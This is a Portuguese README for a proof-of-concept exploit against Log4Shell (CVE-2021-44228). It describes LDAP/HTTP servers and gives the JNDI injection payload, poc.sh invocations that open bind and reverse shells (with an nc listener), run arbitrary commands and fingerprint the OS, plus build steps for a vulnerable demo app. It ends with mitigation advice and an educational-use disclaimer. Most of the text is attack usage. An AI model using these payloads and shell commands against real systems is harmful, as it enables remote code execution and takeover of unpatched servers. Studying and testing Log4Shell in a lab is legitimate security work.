
Exploit de prova de conceito para CVE-2021-44228 (Log4Shell) com servidores HTTP/LDAP, suportando bind/reverse shells, RCE, detecção de SO e detecção de vulnerabilidade baseada em tempo. Apenas para uso educacional.
PoC para CVE-2021-44228.
Projeto feito apenas para FINS EDUCACIONAIS.
Este projeto cria dois servidores: http e ldap. Ambos são necessários para que a exploração funcione. O arquivo java especificado é compilado e os servidores são iniciados no Dockerfile. O payload é mostrado ao usuário - deve ser passado para a aplicação vulnerável.
Exemplo de payload:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
Ele suspende o programa por 25 segundos
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
A detecção de SO pode retornar 4 letras:
L para LinuxW para WindowsM para macOSU para desconhecidoA técnica de bypass foi publicada. Exemplo aqui
O aplicativo foi projetado para mostrar como funciona. Para construir e executar o jar com um aplicativo, use:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
onde PAYLOAD é retornado pelo script ./poc.sh (ex.: ${jndi:ldap://127.0.0.1:1389/1}).
Alguns créditos para projetos e sites usados durante a criação desta exploração:
Inicie o aplicativo usando log4j com log4j2.formatMsgNoLookups definido como true, ou atualize para log4j-2.15.0-rc1 ou posterior. As atualizações estão disponíveis - implemente-as o mais rápido possível.
Este projeto só pode ser usado para fins educacionais. Usar este software contra sistemas alvo sem permissão prévia é ilegal, e quaisquer danos decorrentes do uso indevido deste software não serão de responsabilidade do autor.